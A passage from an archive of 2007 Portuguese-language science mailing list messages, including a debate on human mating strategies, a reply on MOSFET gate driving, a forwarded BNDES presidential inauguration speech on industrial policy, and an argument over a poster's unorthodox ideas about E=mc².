TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 21:25

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Na verdade, o que importa mesmo é que o indivíduo seja reconhecido
> pela sociedade como filho de um homem de alta hierarquia, seja ele o
> verdadeiro pai ou não. Neste caso, seria interessante que o amante
> bonito e sedutor (características que parecem ser indicadores de
> bons genes), ao acasalar com uma mulher de um macho dominante,
> procurasse enviar espermatozóides Y para fecundá-la. É a estratégia
> perfeita.

Primeiro, não existem estratégias perfeitas. Segundo, não é uma boa
estratégia, pois seu filho teria o mm problema - acabaria criando
filhos de outros. Se ele tem uma filha, praticamente todos os filhos
serão delas.

> Sobre "a tendência endogâmica da alta corte", lembre-se que o
> paradigma aqui é o do ambiente ancestral.

E o q o leva a pensar q fosse diferente nos tempos idos?

> Vamos supor que nós somos velhos machos. Para não sairmos no tapa,
> nós elaboramos regras de troca de mulheres que dizem quem vai casar
> com quem. Você acha que nós iríamos considerar os garotos que estão
> acabando de chegar ao mundo, cheios de testosterona, e repartir as
> mulheres com eles? É provável que não.

Se são velhos e temem a confrontação q poderes terão para impor suas
regras?

> Nós dizemos para os jovens: A regra (que foi forjada no início da
> criação) é que você vai casar com a filha da mulher tal, que tem
> naquele momento uns 16 anos de idade. Isto é, o jovem vai ter que
> esperar essa menina ter uma filha, que essa filha cresça durante uns
> 15 anos, para finalmente ter sua primeira mulher.

Por q teria q esperar?

> > Não se descarta q houvesse sobra de mulheres ao longo da evolução
> humana
>
> Isso é algo muito improvável. No ambiente ancestral, a mulher
> provavelmente era o bem mais precioso que um homem poderia ter. A
> troca de mulheres entre famílias é um dos principais elementos na
> formação dos laços sociais. Se o sujeito tem uma filha, ele não vai
> deixar ela andando solta por aí.

Em um ambiente de sobra de mulheres as mulheres não serão o bem mais
precioso.

> Realmente os homens morrem mais (especialmente os jovens). Mas
> lembre-se que a regra geral do casamento é a poligamia. Se cada
> velho macho tivesse duas ou três mulheres poderia haver escassez de
> mulheres para os jovens, mesmo que houvesse mais mulheres.

Qtos machos velhos existiriam em cada sociedade em relação a machos
jovens? A pirâmide etária tenderia a ser muito afunilada no topo (a
expectativa média de vida só ultrapassou os 30 anos no último milênio)
- e tb na base, dada a alta mortalidade infantil.

> É um fato que os homens procuram fazer sexo com um numero de
> parceiras muito mais elevado que as mulheres. Isso sugere que a
> estratégia r seja adotada por eles pelo menos em algumas situações.

A estratégia r ou K não se aplica separadamente a sexos, mas sim a
populações. Por outro lado, homens não são mais mirrados q as mulheres
- grande parte da energia vai para o desenvolvimento do próprio corpo
(possivelmente em razão da seleção sexual, o aumento do custo
individual masculino promovido pela escolha feita pelas mulheres -
diminuindo a diferença de investimento de recursos na prole).

[]s,

Roberto Takata



SUBJECT: Re: Chaveamento com MOSFET IRFZ44N
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 21:59

Olá a todos.

O Alexandre Salles do grupo Eletronicabr
(http://br.groups.yahoo.com/group/eletronicabr/messages) deu a dica:

On 5/5/07, Alexandre Salles <salles.eng@...> wrote:
> Os que estão com dreno no positivo da fonte os gates deverão ser
acionados
> com tensão maior que a tensão da fonte para que trabalhem saturados.
>
> Para aciona-los pode-se usar High Voltage Gate Drivers (HVICs) que
> internamente tem "charge-pump" para elevar a tensão no gate. Olhe em
> www.irf.com o IR2111.
>
> até mais,
>
> Alexandre Salles


Outra dica dada pelo Marco Dal Poz:

>Melhor que isso: os que tem source ligado ao GND são MOSFET canal-N,
>os outros 3 deveriam ser MOSFET canal-P com source ligado ao VCC.

Neste caso os pulsos no gate deveriam ser desafados.

Abraços
Tipoalgo




SUBJECT: O futuro tem pressa.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 05/05/2007 22:35

Coutinho no BNDES prega desenvolvimento que tenha inovação tecnológica e avanço científico como eixos estratégicos.

Seu mote: "É preciso andar rápido. O futuro tem pressa!"

Eis a íntegra do discurso de Luciano Coutinho - economista, professor da Unicamp e ex-secretário geral do Ministério da C&T (Gestão de Renato Archer e de Luiz Henrique) - ao assumir a Presidência do BNDES:

Meu caro Demian Fiocca a quem saúdo pelo seu espírito público e congratulo pelo bom trabalho realizado à frente do BNDES. Sei que recebo o Banco em ascensão operacional e em processo de aperfeiçoamento no campo da gestão.

Senhores empresários, Meus colegas benedenses, Companheiros e Amigos, Minhas Senhoras, Meus Senhores.

Quero, de início, homenagear o Presidente Lula pela sua profunda identificação com os anseios do povo brasileiro por progresso, justiça e esperança. Recebi do Excelentíssimo Senhor Presidente a orientação de colaborar junto ao Ministério do Desenvolvimento na implementação de uma política industrial de grande envergadura.

Uma política que dinamize economia, acelere a criação de empregos e promova a igualdade de oportunidades. Sinto-me feliz por ter recebido essa orientação que coincide plenamente com os meus sonhos e convicções.

É inequivocamente mérito do presidente Lula ter conduzido o Brasil às portas de um novo ciclo de desenvolvimento.

Finalmente! - depois de duas décadas e meia de desempenho medíocre - a economia brasileira pode criar condições para crescer de forma sustentada a taxas próximas de seu elevado potencial.

Mais do que o crescimento, almejamos o desenvolvimento social, cultural, ambiental e econômico do nosso país.

Não temos, porém, o direito de nos enganar. A possibilidade de sonhar, o raio de manobra que conquistamos graças à recente consolidação da estabilidade, tudo isso é fruto da rápida e notável reviravolta de nossa posição externa nos últimos anos.

Transitamos, com velocidade, de um estado de extrema vulnerabilidade para uma situação de robustez cambial relativamente confortável graças à pujança do superávit comercial em moeda forte.

Não nos iludamos quanto à necessidade de manter o equilíbrio a longo prazo do balanço de pagamentos, para que possamos continuar desfrutando dos benefícios da baixa volatilidade cambial - portanto, de inflação estabilizada.

Essa preciosíssima e recente conquista confere autonomia ao Estado brasileiro para empreender políticas de desenvolvimento. Políticas que, num ambiente democrático, devem refletir escolhas públicas e anseios da sociedade brasileira.

Balanço de pagamentos equilibrado a longo prazo requer a persistência de um superávit comercial suficientemente alto para financiar nosso déficit estrutural na conta de serviços não-fatores e honrar o serviço (juros e lucros) dos passivos externos.

Superávit suficientemente alto, também, para a sustentação de reservas de divisas em escala adequada para garantir confiança aos investidores e solvência ao movimento de capitais e investimentos diretos.

Portanto, é essencial que o crescimento de nossas exportações seja firme e compatível com o crescimento também firme do fluxo de importações, especialmente as necessárias ao aumento dos investimentos.

Por isso o BNDES continuará desempenhando ativamente seu papel de banco brasileiro de comércio exterior.

Escusado lembrar o óbvio: sem a elevação continuada da formação de capital não há como sustentar o desenvolvimento sócio-econômico, a estabilização e o equilíbrio externo.

Sendo assim, a subida persistente da taxa nacional de poupança e investimento é objetivo macroeconômico chave. O esforço maior do BNDES estará concentrado na consecução desse objetivo, com a indispensável contribuição do setor privado.

Não nos enganemos, também, em relação à outra condição fundamental para o desenvolvimento. Além da robustez externa, há pela frente o desafio de completar e consolidar o processo em curso de fortalecimento fiscal e financeiro do Estado.

No Brasil de hoje, a premência em empreender os investimentos eficientes de alto retorno social em educação, saúde, meio ambiente, saneamento, habitação, ciência e tecnologia e a urgência em deslanchar inversões infra-estruturais em energia e logística requerem um incremento substancial da capacidade fiscal do governo.

Em prol do aumento dos gastos de investimento socialmente eficientes previstos no PAC, será preciso disciplinar os gastos ineficientes, cortar os desperdícios e superposições, evitar o acúmulo irrefletido de obrigações perdulárias que se projetem para o futuro.

Além do controle quantitativo é hora, portanto, de aprofundar a qualidade do esforço fiscal, no momento em que a continuidade da queda das taxas de juros economiza encargos e abre espaço para substancial melhoria das condições de financiamento do Tesouro Nacional.

A continuação desse processo abrirá, também, espaço, esperemos, com a ajuda do Congresso Nacional, para a racionalização e suavização da carga tributária.

Não é demais sublinhar que a execução do PAC é condição imprescindível para crescer. Não há dúvida que investimentos em infra-estrutura - prioritariamente energia e sistema viário - precisam ser acelerados.

Para isso, além da poupança pública, é decisiva a participação do setor privado. O BNDES dará suporte pró-ativo à necessária coordenação entre empreendedores, banca e o mercado de capitais na estruturação de funding adequado, especialmente para os projetos de maior porte.

As onze "salas de situação" que administram a execução do PAC na Casa Civil da Presidência da República terão do Banco - sem medir esforços - todo o apoio que se fizer necessário.

Senhoras e Senhores. A indústria de transformação precisa voltar a funcionar como motor propulsor da economia brasileira. Embora hoje represente apenas 18% do PIB ela é fundamental.

Suas conexões para frente e para trás promovem efeitos dinâmicos sobre 70% da economia e, assim, desempenham papel-chave para o crescimento do emprego, da renda e da inovação técnica.

No entanto, para cumprir esse papel-chave - além de condições macroeconômicas que, esperemos, sejam cada vez mais benignas em matéria de taxas de juros e de taxa de câmbio - a indústria precisará acelerar os seus processos de inovação em todos os planos: novos produtos diferenciados, novos processos, aumento contínuo de produtividade e de avanços na qualidade da gestão e da governança.

Na concepção abrangente do grande Joseph Schumpeter, a inovação tecnológica é a mola propulsora da criação de dinamismo e de capacidade de competir dos sistemas nacionais.

Por isso, a inovação no plano empresarial deve merecer estímulo e apoio sistêmico com empenho redobrado, como fazem os países desenvolvidos e os países em desenvolvimento que estão logrando dominar a 3a onda de progresso industrial e tecnológico.

Isso exige olhar o futuro e divisar cenários de longo prazo que auxiliem a definição de rumos e permitam a formulação de estratégias. Para isso encomendou-me o Senhor Ministro do Desenvolvimento a preparação de estudos setoriais prospectivos.

Mercê do grande esforço histórico de industrialização no após-guerra a matriz industrial brasileira, como sabemos, desenvolveu e revelou capacidade competitiva em muitas cadeias intensivas em recursos naturais, base agrícola e economias de escala.

Por sorte, essas cadeias, produtoras de commodities e de pseudo-commodities, vêm desfrutando nos últimos anos de preços externos superfavoráveis e têm respondido positivamente a esses estímulos com aceleração de seus programas de investimento.

Cumpre ao BNDES, como já vem fazendo, apóia-las firmemente para que possam capturar todas as oportunidades para aumentar participação no comércio mundial, não apenas com ampliação de capacidade produtiva, mas, também, através da aceleração de inovações.

Cumpre, adicionalmente, ao BNDES apoiar o robustecimento das empresas, especialmente das nacionais, no que respeita a capitalização, gestão, governança e internacionalização de operações.

Incluo nessa categoria, sem ser exaustivo, as cadeias de mineração, siderurgia, metalurgia de não-ferrosos, celulose e papel e petroquímica.

Faço questão de ressaltar nossa expressiva gama de agroindústrias competitivas, tais como soja e derivados, suco de laranja, carnes, fumo e outras - sublinhando, finalmente, as cadeias de açúcar e álcool e de biocombustíveis que se defrontam com extraordinárias oportunidades de mercado.

Mas, se a indústria brasileira revela pujança competitiva nas cadeias mencionadas é importante reconhecer que pouco avançamos, quando não retrocedemos, no que toca ao conjunto mais dinâmico das cadeias manufatureiras, quais sejam, as pertencentes ao complexo das tecnologias de informação e de comunicações.

Essas cadeias, cujas taxas de crescimento são duas vezes e meia superiores à média internacional representam apenas 5,5% do valor agregado da indústria brasileira, em contraposição a uma ponderação média (dados de 2005) de 27,5% no valor agregado da indústria dos países desenvolvidos.

Não há dúvida de que, nesse campo, o Brasil marcou passo, enquanto as economias asiáticas em desenvolvimento vêm avançando celeremente na manufatura e na exportação de bens e serviços associados às tecnologias de informação e de comunicações. Isso explica, em larga medida, o peso crescente e o sucesso dessas economias no comércio mundial de manufaturas desde o início dos anos 90.

A economia brasileira não deve abster-se de participar dessas correntes altamente dinâmicas de produção, comércio e investimentos. É preciso construir junto com o setor privado estratégias realistas de desenvolvimento competitivo nesses campos.

Para minimizar o risco de frustrações, o critério diretor das políticas deve ser o da promoção de empreendimentos claramente competitivos, abertos, voltados ao mercado mundial e não apenas ao mercado doméstico.

Embora nessas áreas o país tenha bases de produção frágeis e seja escassa a experiência em engenharia de software e manufatura, é preciso, com realismo, preparar as nossas empresas para o desafio de aproveitar as oportunidades.

Estas surgem em função do rápido ciclo de vida dos produtos e das ocasionais quebras de paradigma que fluem da inovação acelerada das tecnologias de informação e de comunicações.

Sem esquecer nunca o pressuposto da competitividade é possível desenhar projetos que tirem proveito da escala do mercado brasileiro e da América do Sul para empreendimentos

em materiais e equipamentos de telecomunicações; em digitalização da TV;

em bens de informática;

em equipamentos de automação industrial, comercial e bancária;

em bens eletrônicos de consumo;

em equipamentos digitais dedicados a áreas como medicina, eletrônica embarcada, instrumentação científica, defesa, aeronáutica e complexo espacial.

E, por último - por que não? - no setor de componentes microeletrônicos.

As nossas bases empresariais e de engenharia, embora sejam pequenas, exibem excelência em certos campos e isso deve servir de ponto de apoio para a construção de sinergias e para a busca de especializações competitivas visando a captura das janelas de oportunidade.

Não é preciso dizer que esse desafio requer a intensificação da formação de engenheiros e de cientistas aplicados em várias esferas de conhecimento.

Tampouco poder-se-á prescindir de excelência na gestão e na formulação das estratégias privadas.

O sucesso na inovação nesses setores exige, decerto, a confluência das políticas industrial, de comércio exterior, de ciência e tecnologia e de educação.

A política industrial no primeiro mandato do Presidente Lula já concedeu prioridade à microeletrônica, ao desenvolvimento de software e aos bens de capital.

O BNDES já vem fomentando iniciativas nessas áreas.

Conforme a orientação que recebi do Presidente é preciso, doravante, encorpar muito essas iniciativas, mobilizar o setor privado nacional e estrangeiro, acelerar decisões e processos.

É preciso andar rápido. O futuro tem pressa!

No que toca aos vários setores de bens de capital seriados e de encomenda - cuja intersecção com as tecnologias de informação é crescente e decisiva - a estratégia de desenvolvimento também deve transitar pela especialização competitiva em produtos diferenciados.

O fornecimento de bens de capital aos blocos de setores industriais e agroindustriais competitivos, que estão em fase de firme expansão graças aos bons preços internacionais, constitui uma oportunidade evidente para vários segmentos.

Além disso, é preciso fomentar novas especializações, fortalecer as empresas nacionais e reforçar o papel das plataformas das empresas transnacionais que produzem equipamentos no país.

Quanto à farmoquímica também se afigura necessária uma estratégia de desenvolvimento mais consistente e ambiciosa que viabilize a produção competitiva de medicamentos relevantes, capitalize e fortaleça financeira e tecnologicamente as empresas brasileiras de capital nacional, estimule os investidores estrangeiros e tire proveito do inexplorado potencial derivado da biodiversidade brasileira.

A coordenação do poder de compra do sistema brasileiro de saúde deve funcionar como alavanca desse processo, para impulsionar empreendimentos eficientes compreendendo, além dos fármacos, outros produtos, equipamentos e insumos.

O complexo automotivo pela sua importância não pode deixar de receber atenção especial.

A cadeia automobilística brasileira tem a chance de se consolidar nos próximos anos como uma das 7 ou 8 cadeias globais de produção viáveis, com escala e com acúmulo de sinergias suficientes para lhe assegurar sustentabilidade.

Isso requer mais especialização e escalas produtivas mais eficientes, maior capacidade de desenvolver produtos mundiais e mais competitividade de custos ao longo de toda a cadeia.

O bom desempenho competitivo do complexo automotivo é essencial para o futuro da indústria metal-mecânica e para um vasto leque de setores fornecedores de partes e peças que, por sua vez, demandam aços, metais não-ferrosos, resinas petroquímicas, borracha, vidro e produtos químicos.

Além disso, o complexo automotivo demanda equipamentos de automação e eletrônica embarcada, bens de capital e movimenta uma extensa cadeia de serviços de revenda, comercialização de peças, financiamento, manutenção, distribuição de combustíveis.

As perspectivas nos próximos anos de firme expansão da demanda doméstica e mundial já tornaram urgente a concretização de expressivos investimentos em plantas novas, com alta eficiência competitiva.

O BNDES está a postos para financiar tais empreendimentos e para apoiar os investimentos que se farão necessários em toda a cadeia de fornecimento.

Diante das pressões decorrentes da apreciação da valorização cambial recebi orientação dos Ministros do Desenvolvimento e da Fazenda no sentido de apoiar os setores intensivos em trabalho que, apesar da presença de algumas empresas líderes, têm, em geral, grande contingente de médias e pequenas empresas predominantemente concentradas em arranjos produtivos locais.

Refiro-me a cadeias ou aglomerados produtores de calçados, vestuário, mobiliário, artigos de plástico e outros pequenos artefatos.

Considero de fundamental importância o fomento às atividades de inovação cooperativa nesses arranjos produtivos como parte de uma verdadeira regionalização da política industrial.

Ressalte-se, a tempo, que a dimensão regional do desenvolvimento industrial precisa contemplar também a descentralização dos empreendimentos de grande porte, em estreita cooperação com os governos estaduais.

Neste sentido é obrigação do BNDES ser pró-ativo no que toca ao desenvolvimento das regiões mais atrasadas: Nordeste, Norte, Centro-Oeste. E os espaços subdesenvolvidos no Sul e no Sudeste precisam receber atenção diferenciada.

A importante cadeia da construção civil, que comanda um amplo conjunto de indústrias fornecedoras de materiais, estimula a indústria de mobiliário e movimenta uma extensa rede de serviços de comercialização, vendas e financiamento está iniciando um ciclo de expansão que tem tudo para ser duradouro.

Será possível nos próximos anos expandir muito o financiamento imobiliário com taxas de juros e prazos compatíveis com a capacidade orçamentária das famílias de classe média.

Será também possível e é intenção do Presidente Lula reforçar as bases de financiamento orçamentário para a habitação social. Isto significa que a construção civil será um importante vetor de criação de empregos, de geração de renda e de desenvolvimento regional.

O BNDES deverá trabalhar em parceria com o Ministério das Cidades, com a Caixa Econômica Federal e com o setor privado para reforçar essa expansão.

O setor de serviços que representa nada menos que 2/3 da formação do emprego e da renda nacional será objeto de atenção especial.

Desde logo há um conjunto muito importante de serviços associados à produção dentre os quais sublinho os serviços de informática e software, de engenharia, de gestão e de consultoria em vários campos profissionais.

Esses serviços essenciais à inovação e ao desempenho da indústria precisarão se expandir de modo firme e concomitante ao crescimento da economia. O BNDES deverá estar atento e apoiar tais transformações.

O comércio varejista e atacadista; os serviços associados à importantíssima cadeia do Turismo (hotelaria, gastronomia, lazer, esporte e cultura); os variados serviços e atividades da "indústria" cinematográfica, das artes e da cultura; os serviços privados associados à saúde e à educação; as atividades industriais e de serviços do setor de comunicações (imprensa, Internet, TV e rádio difusão); os serviços de telecomunicações (em processo acelerado de convergência com os antes citados) - todos esses precisarão e receberão o apoio do BNDES para sua rápida expansão.

Não poderia deixar de mencionar os serviços de transporte e logística, evidentemente essenciais para a eficiência econômica geral, e que necessitam de urgente atenção.

As empresas de transporte ferroviário recentemente apoiadas pelo BNDES; as empresas de transporte rodoviário; a marinha mercante; o transporte aéreo; a navegação fluvial, os portos, aeroportos e infraestruturas correlatas receberão firme suporte, conforme as prioridades estabelecidas no PAC.

Finalmente uma palavra a respeito dos grandes complexos tecnológicos estruturados. Refiro-me ao de Petróleo e Gás, prioritário para o desenvolvimento industrial e para o suprimento de energia.

Sem esquecer os atores privados desse complexo o BNDES trabalhará em cooperação direta e intensa com a Petrobras, cuja tradição de fomento à indústria brasileira sempre foi exemplar.

Refiro-me aos complexos aeronáutico e aeroespacial brasileiros, motivo de orgulho, com os quais espero poder intensificar a cooperação e fomento, apoiando o desenvolvimento de redes eficientes de fornecimento de equipamentos, materiais e serviços e auxiliando o desenvolvimento avançado da sua capacitação tecnológica.

Menciono ainda a necessidade de apoiar ou reforçar a estruturação de complexos industriais-tecnológicos nas áreas de energia nuclear, agricultura e pesquisa agropecuária, saúde, ciências ambientais.

Senhoras e Senhores.

O tremendo desafio climático-ambiental provocado pelo processo de aquecimento global tornou-se uma questão crucial para a vida das futuras gerações.

O Brasil precisa se mobilizar para protagonizar um papel mais decisivo, a despeito da miopia e da imprevidência de muitas nações desenvolvidas.

Conforme orientação do presidente Lula é preciso engajar e apoiar firmemente o setor privado socialmente responsável em atividades compatíveis com a sustentabilidade sócio-ambiental de modo a barrar o desmatamento predatório da Amazônia.

A inteligência dos quadros do BNDES está desde já chamada a contribuir, junto com os organismos do Ministério do Meio Ambiente e com os governos estaduais, para a construção de um novo modelo de desenvolvimento sócio-ambiental inclusivo e sustentável.

Senhores empresários e executivos.

Essa nova etapa do desenvolvimento brasileiro exigirá criatividade e virtuosismo no campo da governança corporativa e excelência em matéria de gestão.

Estou confiante de que caminharemos a passo firme e acelerado na direção da capacitação e do fortalecimento do nosso sistema empresarial , sintonizados, sobretudo, com os cada vez mais exigentes requisitos do mercado de capitais e do sistema de crédito.

As empresas nacionais continuarão recebendo, como sempre, firme apoio financeiro do BNDES, mas esperamos colaborar, além disso, para o aperfeiçoamento dos seus padrões de governança, para o avanço da qualidade das suas estratégias de inovação e, quando pertinente, para a internacionalização de suas operações.

As empresas transnacionais aqui instaladas e as novas investidoras estrangeiras terão todo o apoio necessário para fortalecer o papel das suas operações brasileiras especialmente em matéria de exportação e de adensamento das atividades tecnológicas no país.

O presidente Lula desafiou-me a fazer com que o BNDES chegue mais próximo das médias, pequenas e microempresas.

Conto com a criatividade dos técnicos do Banco para multiplicar as iniciativas nessa direção - por exemplo, ampliando o quanto possível a experiência exitosa do Cartão-BNDES e desenvolvendo novos instrumentos de transferência e de neutralização microeconômica de riscos, que permitam que o crédito alcance os pequenos empresários.

Neste sentido, o BNDES pode e deve colaborar muito para acelerar o desenvolvimento do mercado de capitais e, especialmente, para impulsionar a inovação na esfera financeira.

A vigorosa onda de inovação financeira global nos últimos anos de alta liquidez estimulou sobremodo a expansão do crédito por ter permitido a distribuição dos riscos e por ter facilitado a gestão dos descasamentos e prazos de maturidade entre ativos e passivos.

A sofisticação dos instrumentos securitizados auxiliou o rápido crescimento do crédito de longo prazo às famílias e às empresas em várias esferas, dentre as quais se destaca a do crédito imobiliário.

No meu entender, a inovação financeira saudável para o Brasil deve aumentar o incentivo à poupança, reduzir os custos de transação, aprofundar a liquidez dos mercados e lubrificar os canais de arbitragem e de hedge para oferecer, primordialmente, funding às estratégias empresariais de investimento.

Destaco, em tempo, que essa contribuição positiva ao desenvolvimento brasileiro requererá um avanço simultâneo da capacidade institucional de regular eficientemente a operação desses mercados para prevenir a formação, no futuro, de bolsões de alto-risco e de alta-alavancagem geradores de riscos sistêmicos.

Pretendo contar com a cooperação de especialistas do mercado, da academia, de think tanks e das instituições de regulação para, junto com a inteligência do BNDES, contribuirmos, com entusiasmo, para o avanço da inovação financeira.

Confio na competência dos quadros do BNDES e os convido para empreender um grande esforço inovador e criativo, que combine ousadia e prudência, no sentido de promover o desenvolvimento sustentável do Brasil.

Desenvolvimento que precisa ser socialmente inclusivo, distribuído regionalmente, gerador de empregos crescentemente qualificados, gerador de oportunidades empresariais, gerador de renda e de canais de ascensão para os pobres e para os pequenos.

Desenvolvimento que precisa ser social e ambientalmente responsável e regenerador das inaceitáveis mutilações de nosso patrimônio natural.

Desenvolvimento que sinalize um horizonte promissor para a nossa juventude.

Desenvolvimento que precisa ser culturalmente afirmativo e estimulador da extraordinária criatividade do povo brasileiro.

Desenvolvimento que precisa ter, definitivamente, a inovação tecnológica e o avanço científico como eixos estratégicos.

Desenvolvimento, enfim, que signifique, nas palavras do grande pensador Celso Furtado, a retomada da "construção interrompida" de uma nação soberana, próspera, mais fraterna e menos desigual com os seus filhos.

Obrigado! Vamos à luta, pois o futuro tem pressa!


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/05/2007 23:13

Caro Ferrari

Qualquer professor decente de física sabe que eletricidade e elétrons são
coisas diferentes. Você está tentando resolver problemas já solucionados há
muito tempo.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 04, 2007 3:05 PM
Subject: Re: [ciencialist] Re: E=m.c2


> Olá Alvaro!
>
>
> Alvaro >>> Parafraseando Pauli, "seu raciocínio é tão
> confuso que não chega nem perto de estar apenas
> errado".
>
> --- Alvaro, tudo no começo é confuso, pois é novidade.
> Novidade pra mim também. Dizer que a matéria pulsa é
> um exemplo disto. Como relatei na outra thread " o dia
> em que a materia entrou pelo cano" realmente
> acreditava que a eletricidade (os eletrons) vinha pelo
> fio como gotas dagua pelo cano. Hoje em dia vejo como
> é engraçado ter pensado assim. Mas não foi
> premeditado, foi sem querer (novidade). De repente me
> dei conta que não poderia ser como gotas dagua pelo
> cano. Então, surgiu a pergunta: como é então? E a
> resposta atual é: a matéria pulsa. Um dos obstáculos
> aqui é que quando uso a palavra "matéria" a
> interpreção do leitor é apenas o aspecto cheio da
> matéria. É um obstaculo semantico, não existe uma
> palavra que expresse o que que quero dizer por
> matéria. Quando digo matéria estou me referindo tanto
> ao aspecto cheio como o vazio (corpo e espaço). E é
> este todo que pulsa.
>
> Alvaro >>> De qualquer forma, parabéns! É preciso
> mesmo muita coragem para se expor na internet desse
> jeito.
>
> --- Infelizmente as pessoas não se expoem porque tem
> medo de perder o que tem. Eu não tenho nada, logo não
> preciso ter medo de perder. Se as pessoas se dessem
> conta que em cofre não se guarda coisa alguma, em
> cofre se perde a coisa de vista, o comportamento delas
> seria bem distinto, e assim a sociedade.
>
> Alvaro >>> Se fôssemos dar um nome a c^2, iniciativa
> absolutamente inútil e sem sentido, deveríamos dar
> nomes também para...
>
> --- Ok, mensagem recebida e compreendida.
>
> Alvaro >>> Energia é "massa vibrando"? Interessante,
> mas fora de Esalen esse conceito não fará sucesso
> algum.
>
> --- Por enquanto. Tudo a seu tempo.
>
> Alvaro >>> A teoria das cordas chega perto disso, mas
> afirma que a matéria (não a "massa")resulta da
> vibração de cordas microscópicas em certos padrões de
> energia.
>
> --- Sim, é a matéria mesmo. E não estou defendendo a
> idéia de microcordas, mas de deformações, feito uma
> bexiga cheia dagua se deformando.
>
> Alvaro >>> Mas a teoria das cordas, além de
> controversa, parte de equacionamento matemático e não
> de confusões entre grandezas físicas e a medida delas.
>
> --- Eu parto da observação de fenomenos como o
> downloud, gravação, telefonia, entre outros...
> Básicamente fenomenos que chamamos de comunicação.
>
> Alvaro >>> Você pode afirmar o que quiser. Pode até
> dizer que o deslocamento é uma ilusão.
>
> --- Bem, acho que a palavra "ilusão" precisa ser
> explicada dentro deste contexto para não gerar mais
> problemas. Quando digo que o deslocamento é uma ilusão
> troque por "uma visão fisica". Por exemplo, racioninar
> que a eletricidade (eletrons) corre pelo fio feito
> gotas dagua é olhar para o fenomeno com uma visão
> fisica, o que acarreta em uma ilusão. Creio que a
> visão fisica tem seu lugar, mas não todos os lugares.
>
> Alvaro >>> Mas enquanto não for capaz de apresentar
> uma equação que traduza suas idéias em termos
> mensuráveis, estará praticando apenas misticismo, não
> física.
>
> --- Ok, mensagem recebida e entendida. Só posso lhe
> dizer que estou fazendo o que está ao meu alcance, e
> que estou na ponta dos pés.
>
> Alvaro >>> E mesmo a teoria das cordas, que é milhões
> de vezes melhor do que essas noções do universo à la
> new age, é frequentemente acusada de misticismo.
>
> --- Bom, meu trabalho é produzir o produto, quem
> quizer que ponha o rótulo que quiser nele. O rótulo
> não vai mudar o produto
>
>
> sinceramente
> ferrari
>
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
> http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/05/2007 00:29

Caro, José Carlos!
O que é que vc quer que eu aprenda?
[]s
José Renato
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 04, 2007 1:31 AM
Subject: [ciencialist] Re: E=m.c2


Takata San,

Os meus são vendidos apenas na rede particular. O "livro público" está
sendo escrito (muito lentamente) na Internet. Porém, contudo,
entretanto e apesar de tudo, duvido muito que o Ferrari ou o José
Renato iriam "perder tempo" aprendendo aquilo que eles imaginam que já
nascem sabendo e que, de qualquer forma, lhes custaria algum tempo e
dedicação para aprender.

Eles querem "interagir" já! Não têm tempo para aprendizagens longas e
paciência para ouvir respostas divergentes de suas concepções
pré-estabelecidas. São casos crônicos de má formação científica que
representam a maioria da população. Só são destacados aqui porque são
bem articulados linguisticamente e porque damos suporte a eles.

Recomendo que leiam Pato Donald.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> > Você pode afirmar o que quiser. Pode até dizer que o deslocamento é
> > uma ilusão.
>
> Q livro de introdução à Física poderíamos recomendar para o Ferrari -
> ao menos para ele saber o q quer criticar (em lugar de criticar as
> construções q *ele* faz sobre a Física)?
>
> Prof. Zeca, Prof. Leo, seus livros são palatáveis o suficiente para um
> início de introdução à mecânica newtoniana?
>
> []s,
>
> Roberto Takata
>




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SUBJECT: Para o José Renato - Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/05/2007 01:57

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, José Carlos!
> O que é que vc quer que eu aprenda?
> []s
> José Renato

Já que você perguntou... Lá vai:

1 - Que "estar certo" não significa ser capaz de prolongar uma
discussão "ad infinitum", e seja lá por quais recursos forem, para
nunca ter que admitir que uma vez esteve errado;

2 - Que errar e aprender não é feio em nenhuma idade, mas muito pelo
contrário, que é bom poder reconhecer que se é capaz de melhorar
sempre, até mesmo quando se imagina que se sabe tudo;

3 - Que discussões só são frutíferas quando se tem algo para discutir
e que mantê-las sem perder o foco é fundamental se pretendemos ter
alguma produtividade nelas;

4 - Que nem todos que freqüentam essa lista estão aqui para "jogar e
ganhar com as palavras" e, por isso mesmo, dedicam-se muitas vezes a
dar explicações técnicas que você não encontraria facilmente no
"Google", mas não para que os "consulentes", como diz o Prof. Léo,
sintam-se ridicularizados por terem suas respostas, e sim para tenham
as respostas que pediram;

5 - E, principalmente, que no mundo há muitas pessoas que têm um
desejo real de aprender, que não têm vergonha de estarem erradas, que
não se sentem humilhadas quando cometem gafes e que gostariam muito de
ter à disposição as oportunidades que você e outros da lista têm e
que, no meu ver, desperdiçam.

Agora me diga você: o que você aprendeu nessa lista desde o dia em que
entrou aqui?

Abraços,
JC




SUBJECT: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/05/2007 06:39

Mestre Sílvio.

